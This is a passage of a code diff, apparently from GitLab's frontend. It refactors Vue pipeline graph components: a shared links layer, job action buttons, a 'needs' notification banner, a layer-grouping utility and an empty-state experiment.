import { parseData } from '../parsing_utils';
import { reportPerformance } from './api';
import { generateLinksData } from './drawing_utils';
@@ -55,11 +55,17 @@ export default {
required: false,
default: '',
},
+ viewType: {
+ type: String,
+ required: false,
+ default: STAGE_VIEW,
+ },
},
data() {
return {
links: [],
needsObject: null,
+ parsedData: {},
};
},
computed: {
@@ -109,6 +115,15 @@ export default {
highlightedJobs(jobs) {
this.$emit('highlightedJobsChange', jobs);
},
+ viewType() {
+ /*
+ We need to wait a tick so that the layout reflows
+ before the links refresh.
+ */
+ this.$nextTick(() => {
+ this.refreshLinks();
+ });
+ },
},
errorCaptured(err, _vm, info) {
reportToSentry(this.$options.name, `error: ${err}, info: ${info}`);
@@ -167,14 +182,17 @@ export default {
this.beginPerfMeasure();
try {
const arrayOfJobs = this.pipelineData.flatMap(({ groups }) => groups);
- const parsedData = parseData(arrayOfJobs);
- this.links = generateLinksData(parsedData, this.containerId, `-${this.pipelineId}`);
+ this.parsedData = parseData(arrayOfJobs);
+ this.refreshLinks();
} catch (err) {
this.$emit('error', { type: DRAW_FAILURE, reportToSentry: false });
reportToSentry(this.$options.name, err);
}
this.finishPerfMeasureAndSend();
},
+ refreshLinks() {
+ this.links = generateLinksData(this.parsedData, this.containerId, `-${this.pipelineId}`);
+ },
getLinkClasses(link) {
return [
this.isLinkHighlighted(link.ref) ? 'gl-stroke-blue-400' : this.defaultLinkColor,
diff --git a/app/assets/javascripts/pipelines/components/graph_shared/links_layer.vue b/app/assets/javascripts/pipelines/components/graph_shared/links_layer.vue
index 42eab13b0bd..8dbab245f44 100644
--- a/app/assets/javascripts/pipelines/components/graph_shared/links_layer.vue
+++ b/app/assets/javascripts/pipelines/components/graph_shared/links_layer.vue
@@ -11,7 +11,7 @@ import {
PIPELINES_DETAIL_LINKS_JOB_RATIO,
} from '~/performance/constants';
import { performanceMarkAndMeasure } from '~/performance/utils';
-import { reportToSentry } from '../graph/utils';
+import { reportToSentry } from '../../utils';
import { parseData } from '../parsing_utils';
import { reportPerformance } from './api';
import LinksInner from './links_inner.vue';
diff --git a/app/assets/javascripts/pipelines/components/header_component.vue b/app/assets/javascripts/pipelines/components/header_component.vue
index 4ce43b92c93..d8e7b83a8c1 100644
--- a/app/assets/javascripts/pipelines/components/header_component.vue
+++ b/app/assets/javascripts/pipelines/components/header_component.vue
@@ -8,6 +8,7 @@ import cancelPipelineMutation from '../graphql/mutations/cancel_pipeline.mutatio
import deletePipelineMutation from '../graphql/mutations/delete_pipeline.mutation.graphql';
import retryPipelineMutation from '../graphql/mutations/retry_pipeline.mutation.graphql';
import getPipelineQuery from '../graphql/queries/get_pipeline_header_data.query.graphql';
+import { getQueryHeaders } from './graph/utils';
const DELETE_MODAL_ID = 'pipeline-delete-modal';
const POLL_INTERVAL = 10000;
@@ -34,7 +35,9 @@ export default {
[DEFAULT]: __('An unknown error occurred.'),
},
inject: {
- // Receive `fullProject` and `pipelinesPath`
+ graphqlResourceEtag: {
+ default: '',
+ },
paths: {
default: {},
},
@@ -47,6 +50,9 @@ export default {
},
apollo: {
pipeline: {
+ context() {
+ return getQueryHeaders(this.graphqlResourceEtag);
+ },
query: getPipelineQuery,
variables() {
return {
diff --git a/app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue b/app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue
new file mode 100644
index 00000000000..3972c126673
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue
@@ -0,0 +1,103 @@
+<script>
+import { GlTooltipDirective, GlButton, GlLoadingIcon, GlIcon } from '@gitlab/ui';
+import { deprecatedCreateFlash as createFlash } from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
+import { dasherize } from '~/lib/utils/text_utility';
+import { __ } from '~/locale';
+import { reportToSentry } from '../../utils';
+
+/**
+ * Renders either a cancel, retry or play icon button and handles the post request
+ *
+ * Used in:
+ * - mr widget mini pipeline graph: `mr_widget_pipeline.vue`
+ * - pipelines table
+ * - pipelines table in merge request page
+ * - pipelines table in commit page
+ * - pipelines detail page in big graph
+ */
+export default {
+ components: {
+ GlIcon,
+ GlButton,
+ GlLoadingIcon,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ tooltipText: {
+ type: String,
+ required: true,
+ },
+ link: {
+ type: String,
+ required: true,
+ },
+ actionIcon: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ isDisabled: false,
+ isLoading: false,
+ };
+ },
+ computed: {
+ cssClass() {
+ const actionIconDash = dasherize(this.actionIcon);
+ return `${actionIconDash} js-icon-${actionIconDash}`;
+ },
+ },
+ errorCaptured(err, _vm, info) {
+ reportToSentry('action_component', `error: ${err}, info: ${info}`);
+ },
+ methods: {
+ /**
+ * The request should not be handled here.
+ * However due to this component being used in several
+ * different apps it avoids repetition & complexity.
+ *
+ */
+ onClickAction() {
+ this.$root.$emit(BV_HIDE_TOOLTIP, `js-ci-action-${this.link}`);
+ this.isDisabled = true;
+ this.isLoading = true;
+
+ axios
+ .post(`${this.link}.json`)
+ .then(() => {
+ this.isDisabled = false;
+ this.isLoading = false;
+
+ this.$emit('pipelineActionRequestComplete');
+ })
+ .catch((err) => {
+ this.isDisabled = false;
+ this.isLoading = false;
+
+ reportToSentry('action_component', err);
+
+ createFlash(__('An error occurred while making the request.'));
+ });
+ },
+ },
+};
+</script>
+<template>
+ <gl-button
+ :id="`js-ci-action-${link}`"
+ v-gl-tooltip="{ boundary: 'viewport' }"
+ :title="tooltipText"
+ :class="cssClass"
+ :disabled="isDisabled"
+ class="js-ci-action gl-ci-action-icon-container ci-action-icon-container ci-action-icon-wrapper gl-display-flex gl-align-items-center gl-justify-content-center"
+ @click.stop="onClickAction"
+ >
+ <gl-loading-icon v-if="isLoading" class="js-action-icon-loading" />
+ <gl-icon v-else :name="actionIcon" class="gl-mr-0!" :aria-label="actionIcon" />
+ </gl-button>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/job_name_component.vue b/app/assets/javascripts/pipelines/components/jobs_shared/job_name_component.vue
index fffd8e1818a..fffd8e1818a 100644
--- a/app/assets/javascripts/pipelines/components/graph/job_name_component.vue
+++ b/app/assets/javascripts/pipelines/components/jobs_shared/job_name_component.vue
diff --git a/app/assets/javascripts/pipelines/components/notification/pipeline_notification.vue b/app/assets/javascripts/pipelines/components/notification/pipeline_notification.vue
new file mode 100644
index 00000000000..6982586ab12
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/notification/pipeline_notification.vue
@@ -0,0 +1,90 @@
+<script>
+import { GlBanner, GlLink, GlSprintf } from '@gitlab/ui';
+import createFlash from '~/flash';
+import { __ } from '~/locale';
+import DismissPipelineNotification from '../../graphql/mutations/dismiss_pipeline_notification.graphql';
+import getUserCallouts from '../../graphql/queries/get_user_callouts.query.graphql';
+
+const featureName = 'pipeline_needs_banner';
+const enumFeatureName = featureName.toUpperCase();
+
+export default {
+ i18n: {
+ title: __('View job dependencies in the pipeline graph!'),
+ description: __(
+ 'You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}',
+ ),
+ buttonText: __('Provide feedback'),
+ },
+ components: {
+ GlBanner,
+ GlLink,
+ GlSprintf,
+ },
+ apollo: {
+ callouts: {
+ query: getUserCallouts,
+ update(data) {
+ return data?.currentUser?.callouts?.nodes.map((c) => c.featureName);
+ },
+ error() {
+ this.hasError = true;
+ },
+ },
+ },
+ inject: ['dagDocPath'],
+ data() {
+ return {
+ callouts: [],
+ dismissedAlert: false,
+ hasError: false,
+ };
+ },
+ computed: {
+ showBanner() {
+ return (
+ !this.$apollo.queries.callouts?.loading &&
+ !this.hasError &&
+ !this.dismissedAlert &&
+ !this.callouts.includes(enumFeatureName)
+ );
+ },
+ },
+ methods: {
+ handleClose() {
+ this.dismissedAlert = true;
+ try {
+ this.$apollo.mutate({
+ mutation: DismissPipelineNotification,
+ variables: {
+ featureName,
+ },
+ });
+ } catch {
+ createFlash(__('There was a problem dismissing this notification.'));
+ }
+ },
+ },
+};
+</script>
+<template>
+ <gl-banner
+ v-if="showBanner"
+ :title="$options.i18n.title"
+ :button-text="$options.i18n.buttonText"
+ button-link="https://gitlab.com/gitlab-org/gitlab/-/issues/327688"
+ variant="introduction"
+ @close="handleClose"
+ >
+ <p>
+ <gl-sprintf :message="$options.i18n.description">
+ <template #link="{ content }">
+ <gl-link :href="dagDocPath" target="_blank"> {{ content }}</gl-link>
+ </template>
+ <template #code="{ content }">
+ <code>{{ content }}</code>
+ </template>
+ </gl-sprintf>
+ </p>
+ </gl-banner>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/parsing_utils.js b/app/assets/javascripts/pipelines/components/parsing_utils.js
index 9c97fa832d0..f5ab869633b 100644
--- a/app/assets/javascripts/pipelines/components/parsing_utils.js
+++ b/app/assets/javascripts/pipelines/components/parsing_utils.js
@@ -1,4 +1,5 @@
import { uniqWith, isEqual } from 'lodash';
+import { createSankey } from './dag/drawing_utils';
/*
The following functions are the main engine in transforming the data as
@@ -144,3 +145,28 @@ export const getMaxNodes = (nodes) => {
export const removeOrphanNodes = (sankeyfiedNodes) => {
return sankeyfiedNodes.filter((node) => node.sourceLinks.length || node.targetLinks.length);
};
+
+/*
+ This utility accepts unwrapped pipeline data in the format returned from
+ our standard pipeline GraphQL query and returns a list of names by layer
+ for the layer view. It can be combined with the stageLookup on the pipeline
+ to generate columns by layer.
+*/
+
+export const listByLayers = ({ stages }) => {
+ const arrayOfJobs = stages.flatMap(({ groups }) => groups);
+ const parsedData = parseData(arrayOfJobs);
+ const dataWithLayers = createSankey()(parsedData);
+
+ return dataWithLayers.nodes.reduce((acc, { layer, name }) => {
+ /* sort groups by layer */
+
+ if (!acc[layer]) {
+ acc[layer] = [];
+ }
+
+ acc[layer].push(name);
+
+ return acc;
+ }, []);
+};
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
index 51a95612d3f..01baf0a42d5 100644
--- a/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
@@ -10,6 +10,10 @@ export default {
type: String,
required: true,
},
+ pipelineId: {
+ type: Number,
+ required: true,
+ },
isHighlighted: {
type: Boolean,
required: false,
@@ -32,6 +36,9 @@ export default {
},
},
computed: {
+ id() {
+ return `${this.jobName}-${this.pipelineId}`;
+ },
jobPillClasses() {
return [
{ 'gl-opacity-3': this.isFadedOut },
@@ -52,7 +59,7 @@ export default {
<template>
<tooltip-on-truncate :title="jobName" truncate-target="child" placement="top">
<div
- :id="jobName"
+ :id="id"
class="gl-w-15 gl-bg-white gl-text-center gl-text-truncate gl-rounded-pill gl-mb-3 gl-px-5 gl-py-2 gl-relative gl-z-index-1 gl-transition-duration-slow gl-transition-timing-function-ease"
:class="jobPillClasses"
@mouseover="onMouseEnter"
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
index 707d6966e77..3ba0d7d0120 100644
--- a/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
@@ -1,11 +1,8 @@
<script>
import { GlAlert } from '@gitlab/ui';
import { __ } from '~/locale';
-import { CI_CONFIG_STATUS_INVALID } from '~/pipeline_editor/constants';
-import { DRAW_FAILURE, DEFAULT, INVALID_CI_CONFIG, EMPTY_PIPELINE_DATA } from '../../constants';
-import { createJobsHash, generateJobNeedsDict } from '../../utils';
-import { generateLinksData } from '../graph_shared/drawing_utils';
-import { parseData } from '../parsing_utils';
+import { DRAW_FAILURE, DEFAULT } from '../../constants';
+import LinksLayer from '../graph_shared/links_layer.vue';
import JobPill from './job_pill.vue';
import StagePill from './stage_pill.vue';
@@ -13,18 +10,16 @@ export default {
components: {
GlAlert,
JobPill,
+ LinksLayer,
StagePill,
},
CONTAINER_REF: 'PIPELINE_GRAPH_CONTAINER_REF',
- CONTAINER_ID: 'pipeline-graph-container',
+ BASE_CONTAINER_ID: 'pipeline-graph-container',
+ PIPELINE_ID: 0,
STROKE_WIDTH: 2,
errorTexts: {
[DRAW_FAILURE]: __('Could not draw the lines for job relationships'),
[DEFAULT]: __('An unknown error occurred.'),
- [EMPTY_PIPELINE_DATA]: __(
- 'The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax.',
- ),
- [INVALID_CI_CONFIG]: __('Your CI configuration file is invalid.'),
},
props: {
pipelineData: {
@@ -36,33 +31,16 @@ export default {
return {
failureType: null,
highlightedJob: null,
- links: [],
- needsObject: null,
- height: 0,
- width: 0,
+ highlightedJobs: [],
+ measurements: {
+ height: 0,
+ width: 0,
+ },
};
},
computed: {
- hideGraph() {
- // We won't even try to render the graph with these condition
- // because it would cause additional errors down the line for the user
- // which is confusing.
- return this.isPipelineDataEmpty || this.isInvalidCiConfig;
- },
- pipelineStages() {
- return this.pipelineData?.stages || [];
- },
- isPipelineDataEmpty() {
- return !this.isInvalidCiConfig && this.pipelineStages.length === 0;
- },
- isInvalidCiConfig() {
- return this.pipelineData?.status === CI_CONFIG_STATUS_INVALID;
- },
- hasError() {
- return this.failureType;
- },
- hasHighlightedJob() {
- return Boolean(this.highlightedJob);
+ containerId() {
+ return `${this.$options.BASE_CONTAINER_ID}-${this.$options.PIPELINE_ID}`;
},
failure() {
switch (this.failureType) {
@@ -72,18 +50,6 @@ export default {
variant: 'danger',
dismissible: true,
};
- case EMPTY_PIPELINE_DATA:
- return {
- text: this.$options.errorTexts[EMPTY_PIPELINE_DATA],
- variant: 'tip',
- dismissible: false,
- };
- case INVALID_CI_CONFIG:
- return {
- text: this.$options.errorTexts[INVALID_CI_CONFIG],
- variant: 'danger',
- dismissible: false,
- };
default:
return {
text: this.$options.errorTexts[DEFAULT],
@@ -92,56 +58,32 @@ export default {
};
}
},
- viewBox() {
- return [0, 0, this.width, this.height];
+ hasError() {
+ return this.failureType;
},
- highlightedJobs() {
- // If you are hovering on a job, then the jobs we want to highlight are:
- // The job you are currently hovering + all of its needs.
- return [this.highlightedJob, ...this.needsObject[this.highlightedJob]];
+ hasHighlightedJob() {
+ return Boolean(this.highlightedJob);
},
- highlightedLinks() {
- // If you are hovering on a job, then the links we want to highlight are:
- // All the links whose `source` and `target` are highlighted jobs.
- if (this.hasHighlightedJob) {
- const filteredLinks = this.links.filter((link) => {
- return (
- this.highlightedJobs.includes(link.source) && this.highlightedJobs.includes(link.target)
- );
- });
-
- return filteredLinks.map((link) => link.ref);
- }
-
- return [];
+ pipelineStages() {
+ return this.pipelineData?.stages || [];
},
},
watch: {
pipelineData: {
immediate: true,
handler() {
- if (this.isPipelineDataEmpty) {
- this.reportFailure(EMPTY_PIPELINE_DATA);
- } else if (this.isInvalidCiConfig) {
- this.reportFailure(INVALID_CI_CONFIG);
- } else {
- this.$nextTick(() => {
- this.computeGraphDimensions();
- this.prepareLinkData();
- });
- }
+ this.$nextTick(() => {
+ this.computeGraphDimensions();
+ });
},
},
},
methods: {
- prepareLinkData() {
- try {
- const arrayOfJobs = this.pipelineStages.flatMap(({ groups }) => groups);
- const parsedData = parseData(arrayOfJobs);
- this.links = generateLinksData(parsedData, this.$options.CONTAINER_ID);
- } catch {
- this.reportFailure(DRAW_FAILURE);
- }
+ computeGraphDimensions() {
+ this.measurements = {
+ width: this.$refs[this.$options.CONTAINER_REF].scrollWidth,
+ height: this.$refs[this.$options.CONTAINER_REF].scrollHeight,
+ };
},
getStageBackgroundClasses(index) {
const { length } = this.pipelineStages;
@@ -161,22 +103,14 @@ export default {
return '';
},
- highlightNeeds(uniqueJobId) {
- // The first time we hover, we create the object where
- // we store all the data to properly highlight the needs.
- if (!this.needsObject) {
- const jobs = createJobsHash(this.pipelineStages);
- this.needsObject = generateJobNeedsDict(jobs) ?? {};
- }
-
- this.highlightedJob = uniqueJobId;
+ isJobHighlighted(jobName) {
+ return this.highlightedJobs.includes(jobName);
},
- removeHighlightNeeds() {
- this.highlightedJob = null;
+ onError(error) {
+ this.reportFailure(error.type);
},
- computeGraphDimensions() {
- this.width = `${this.$refs[this.$options.CONTAINER_REF].scrollWidth}`;
- this.height = `${this.$refs[this.$options.CONTAINER_REF].scrollHeight}`;
+ removeHoveredJob() {
+ this.highlightedJob = null;
},
reportFailure(errorType) {
this.failureType = errorType;
@@ -184,17 +118,11 @@ export default {
resetFailure() {
this.failureType = null;
},
- isJobHighlighted(jobName) {
- return this.highlightedJobs.includes(jobName);
+ setHoveredJob(jobName) {
+ this.highlightedJob = jobName;
},
- isLinkHighlighted(linkRef) {
- return this.highlightedLinks.includes(linkRef);
- },
- getLinkClasses(link) {
- return [
- this.isLinkHighlighted(link.ref) ? 'gl-stroke-blue-400' : 'gl-stroke-gray-200',
- { 'gl-opacity-3': this.hasHighlightedJob && !this.isLinkHighlighted(link.ref) },
- ];
+ updateHighlightedJobs(jobs) {
+ this.highlightedJobs = jobs;
},
},
};
@@ -209,50 +137,44 @@ export default {
>
{{ failure.text }}
</gl-alert>
- <div
- v-if="!hideGraph"
- :id="$options.CONTAINER_ID"
- :ref="$options.CONTAINER_REF"
- class="gl-display-flex gl-bg-gray-50 gl-px-4 gl-overflow-auto gl-relative gl-py-7"
- data-testid="graph-container"
- >
- <svg :viewBox="viewBox" :width="width" :height="height" class="gl-absolute">
- <path
- v-for="link in links"
- :key="link.path"
- :ref="link.ref"
- :d="link.path"
- class="gl-fill-transparent gl-transition-duration-slow gl-transition-timing-function-ease"
- :class="getLinkClasses(link)"
- :stroke-width="$options.STROKE_WIDTH"
- />
- </svg>
- <div
- v-for="(stage, index) in pipelineStages"
- :key="`${stage.name}-${index}`"
- class="gl-flex-direction-column"
+ <div :id="containerId" :ref="$options.CONTAINER_REF" data-testid="graph-container">
+ <links-layer
+ :pipeline-data="pipelineStages"
+ :pipeline-id="$options.PIPELINE_ID"
+ :container-id="containerId"
+ :container-measurements="measurements"
+ :highlighted-job="highlightedJob"
+ @highlightedJobsChange="updateHighlightedJobs"
+ @error="onError"
>
<div
- class="gl-display-flex gl-align-items-center gl-bg-white gl-w-full gl-px-8 gl-py-4 gl-mb-5"
- :class="getStageBackgroundClasses(index)"
- data-testid="stage-background"
- >
- <stage-pill :stage-name="stage.name" :is-empty="stage.groups.length === 0" />
- </div>
- <div
- class="gl-display-flex gl-flex-direction-column gl-align-items-center gl-w-full gl-px-8"
+ v-for="(stage, index) in pipelineStages"
+ :key="`${stage.name}-${index}`"
+ class="gl-flex-direction-column"
>
- <job-pill
- v-for="group in stage.groups"
- :key="group.name"
- :job-name="group.name"
- :is-highlighted="hasHighlightedJob && isJobHighlighted(group.name)"
- :is-faded-out="hasHighlightedJob && !isJobHighlighted(group.name)"
- @on-mouse-enter="highlightNeeds"
- @on-mouse-leave="removeHighlightNeeds"
- />
+ <div
+ class="gl-display-flex gl-align-items-center gl-bg-white gl-w-full gl-px-8 gl-py-4 gl-mb-5"
+ :class="getStageBackgroundClasses(index)"
+ data-testid="stage-background"
+ >
+ <stage-pill :stage-name="stage.name" :is-empty="stage.groups.length === 0" />
+ </div>
+ <div
+ class="gl-display-flex gl-flex-direction-column gl-align-items-center gl-w-full gl-px-8"
+ >
+ <job-pill
+ v-for="group in stage.groups"
+ :key="group.name"
+ :job-name="group.name"
+ :pipeline-id="$options.PIPELINE_ID"
+ :is-highlighted="hasHighlightedJob && isJobHighlighted(group.name)"
+ :is-faded-out="hasHighlightedJob && !isJobHighlighted(group.name)"
+ @on-mouse-enter="setHoveredJob"
+ @on-mouse-leave="removeHoveredJob"
+ />
+ </div>
</div>
- </div>
+ </links-layer>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/blank_state.vue b/app/assets/javascripts/pipelines/components/pipelines_list/blank_state.vue
deleted file mode 100644
index 6c3a4a27606..00000000000
--- a/app/assets/javascripts/pipelines/components/pipelines_list/blank_state.vue
+++ /dev/null
@@ -1,30 +0,0 @@
-<script>
-export default {
- name: 'PipelinesSvgState',
- props: {
- svgPath: {
- type: String,
- required: true,
- },
-
- message: {
- type: String,
- required: true,
- },
- },
-};
-</script>
-
-<template>
- <div class="row empty-state">
- <div class="col-12">
- <div class="svg-content"><img :src="svgPath" /></div>
- </div>
-
- <div class="col-12 text-center">
- <div class="text-content">
- <h4>{{ message }}</h4>
- </div>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue b/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue
index f8107d288d9..c3bcfcb18fb 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue
@@ -1,7 +1,9 @@
<script>
import { GlEmptyState } from '@gitlab/ui';
+import Experiment from '~/experimentation/components/experiment.vue';
import { helpPagePath } from '~/helpers/help_page_helper';
import { s__ } from '~/locale';
+import PipelinesCiTemplates from './pipelines_ci_templates.vue';
export default {
i18n: {
@@ -15,6 +17,8 @@ export default {
name: 'PipelinesEmptyState',
components: {
GlEmptyState,
+ Experiment,
+ PipelinesCiTemplates,
},
props: {
emptyStateSvgPath: {
@@ -35,19 +39,26 @@ export default {
</script>
<template>
<div>
- <gl-empty-state
- v-if="canSetCi"
- :title="$options.i18n.title"
- :svg-path="emptyStateSvgPath"
- :description="$options.i18n.description"
- :primary-button-text="$options.i18n.btnText"
- :primary-button-link="ciHelpPagePath"
- />
- <gl-empty-state
- v-else
- title=""
- :svg-path="emptyStateSvgPath"
- :description="$options.i18n.noCiDescription"
- />
+ <experiment name="pipeline_empty_state_templates">
+ <template #control>
+ <gl-empty-state
+ v-if="canSetCi"
+ :title="$options.i18n.title"
+ :svg-path="emptyStateSvgPath"
+ :description="$options.i18n.description"
+ :primary-button-text="$options.i18n.btnText"
+ :primary-button-link="ciHelpPagePath"
+ />
+ <gl-empty-state
+ v-else
+ title=""
+ :svg-path="emptyStateSvgPath"
+ :description="$options.i18n.noCiDescription"
+ />
+ </template>
+ <template #candidate>
+ <pipelines-ci-templates />
+ </template>
+ </experiment>
</div>
</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/job_item.vue b/app/assets/javascripts/pipelines/components/pipelines_list/job_item.vue
new file mode 100644
index 00000000000..670fa398536
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/job_item.vue
@@ -0,0 +1,190 @@
+<script>
+import { GlTooltipDirective, GlLink } from '@gitlab/ui';
+import delayedJobMixin from '~/jobs/mixins/delayed_job_mixin';
+import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
+import { sprintf } from '~/locale';
+import { reportToSentry } from '../../utils';
+import ActionComponent from '../jobs_shared/action_component.vue';
+import JobNameComponent from '../jobs_shared/job_name_component.vue';
+
+/**
+ * Renders the badge for the pipeline graph and the job's dropdown.
+ *
+ * The following object should be provided as `job`:
+ *
+ * {
+ * "id": 4256,
+ * "name": "test",
+ * "status": {
+ * "icon": "status_success",
+ * "text": "passed",
+ * "label": "passed",
+ * "group": "success",
+ * "tooltip": "passed",
+ * "details_path": "/root/ci-mock/builds/4256",
+ * "action": {
+ * "icon": "retry",
+ * "title": "Retry",
+ * "path": "/root/ci-mock/builds/4256/retry",
+ * "method": "post"
+ * }
+ * }
+ * }
+ */
+
+export default {
+ hoverClass: 'gl-shadow-x0-y0-b3-s1-blue-500',
+ components: {
+ ActionComponent,
+ JobNameComponent,
+ GlLink,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ mixins: [delayedJobMixin],
+ props: {
+ job: {
+ type: Object,
+ required: true,
+ },
+ cssClassJobName: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ dropdownLength: {
+ type: Number,
+ required: false,
+ default: Infinity,
+ },
+ jobHovered: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ pipelineExpanded: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ pipelineId: {
+ type: Number,
+ required: false,
+ default: -1,
+ },
+ },
+ computed: {
+ boundary() {
+ return this.dropdownLength === 1 ? 'viewport' : 'scrollParent';
+ },
+ detailsPath() {
+ return this.status.details_path;
+ },
+ hasDetails() {
+ return this.status.has_details;
+ },
+ status() {
+ return this.job && this.job.status ? this.job.status : {};
+ },
+ tooltipText() {
+ const textBuilder = [];
+ const { name: jobName } = this.job;
+
+ if (jobName) {
+ textBuilder.push(jobName);
+ }
+
+ const { tooltip: statusTooltip } = this.status;
+ if (jobName && statusTooltip) {
+ textBuilder.push('-');
+ }
+
+ if (statusTooltip) {
+ if (this.isDelayedJob) {
+ textBuilder.push(sprintf(statusTooltip, { remainingTime: this.remainingTime }));
+ } else {
+ textBuilder.push(statusTooltip);
+ }
+ }
+
+ return textBuilder.join(' ');
+ },
+ /**
+ * Verifies if the provided job has an action path
+ *
+ * @return {Boolean}
+ */
+ hasAction() {
+ return this.job.status && this.job.status.action && this.job.status.action.path;
+ },
+ relatedDownstreamHovered() {
+ return this.job.name === this.jobHovered;
+ },
+ relatedDownstreamExpanded() {
+ return this.job.name === this.pipelineExpanded.jobName && this.pipelineExpanded.expanded;
+ },
+ jobClasses() {
+ return this.relatedDownstreamHovered || this.relatedDownstreamExpanded
+ ? `${this.$options.hoverClass} ${this.cssClassJobName}`
+ : this.cssClassJobName;
+ },
+ },
+ errorCaptured(err, _vm, info) {
+ reportToSentry('pipelines_job_item', `pipelines_job_item error: ${err}, info: ${info}`);
+ },
+ methods: {
+ hideTooltips() {
+ this.$root.$emit(BV_HIDE_TOOLTIP);
+ },
+ pipelineActionRequestComplete() {
+ this.$emit('pipelineActionRequestComplete');
+ },
+ },
+};
+</script>
+<template>
+ <div
+ class="ci-job-component gl-display-flex gl-align-items-center gl-justify-content-space-between"
+ data-qa-selector="job_item_container"
+ >
+ <gl-link
+ v-if="hasDetails"
+ v-gl-tooltip="{
+ boundary: 'viewport',
+ placement: 'bottom',
+ customClass: 'gl-pointer-events-none',
+ }"
+ :href="detailsPath"
+ :title="tooltipText"
+ :class="jobClasses"
+ class="js-pipeline-graph-job-link qa-job-link menu-item gl-text-gray-900 gl-active-text-decoration-none gl-focus-text-decoration-none gl-hover-text-decoration-none"
+ data-testid="job-with-link"
+ @click.stop="hideTooltips"
+ @mouseout="hideTooltips"
+ >
+ <job-name-component :name="job.name" :status="job.status" :icon-size="24" />
+ </gl-link>
+
+ <div
+ v-else
+ v-gl-tooltip="{ boundary, placement: 'bottom', customClass: 'gl-pointer-events-none' }"
+ :title="tooltipText"
+ :class="jobClasses"
+ class="js-job-component-tooltip non-details-job-component menu-item"
+ data-testid="job-without-link"
+ @mouseout="hideTooltips"
+ >
+ <job-name-component :name="job.name" :status="job.status" :icon-size="24" />
+ </div>
+
+ <action-component
+ v-if="hasAction"
+ :tooltip-text="status.action.title"
+ :link="status.action.path"
+ :action-icon="status.action.icon"
+ data-qa-selector="action_button"
+ @pipelineActionRequestComplete="pipelineActionRequestComplete"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/nav_controls.vue b/app/assets/javascripts/pipelines/components/pipelines_list/nav_controls.vue
index cf0849751df..235126fea0c 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/nav_controls.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/nav_controls.vue
@@ -41,29 +41,29 @@ export default {
<template>
<div class="nav-controls">
<gl-button
- v-if="newPipelinePath"
- :href="newPipelinePath"
- variant="success"
- category="primary"
- class="js-run-pipeline"
- data-testid="run-pipeline-button"
- data-qa-selector="run_pipeline_button"
- >
- {{ s__('Pipelines|Run Pipeline') }}
- </gl-button>
-
- <gl-button
v-if="resetCachePath"
:loading="isResetCacheButtonLoading"
class="js-clear-cache"
data-testid="clear-cache-button"
@click="onClickResetCache"
>
- {{ s__('Pipelines|Clear Runner Caches') }}
+ {{ s__('Pipelines|Clear runner caches') }}
</gl-button>
<gl-button v-if="ciLintPath" :href="ciLintPath" class="js-ci-lint" data-testid="ci-lint-button">
- {{ s__('Pipelines|CI Lint') }}
+ {{ s__('Pipelines|CI lint') }}
+ </gl-button>
+
+ <gl-button
+ v-if="newPipelinePath"
+ :href="newPipelinePath"
+ variant="confirm"
+ category="primary"
+ class="js-run-pipeline"
+ data-testid="run-pipeline-button"
+ data-qa-selector="run_pipeline_button"
+ >
+ {{ s__('Pipeline|Run pipeline') }}
</gl-button>
</div>
</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_mini_graph.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_mini_graph.vue
index 05372010d0f..2b33467e948 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_mini_graph.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_mini_graph.vue
@@ -36,7 +36,7 @@ export default {
};
</script>
<template>
- <div data-testid="widget-mini-pipeline-graph">
+ <div data-testid="pipeline-mini-graph">
<div
v-for="stage in stages"
:key="stage.name"
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue
index bdb7dd06620..bf992b84387 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue
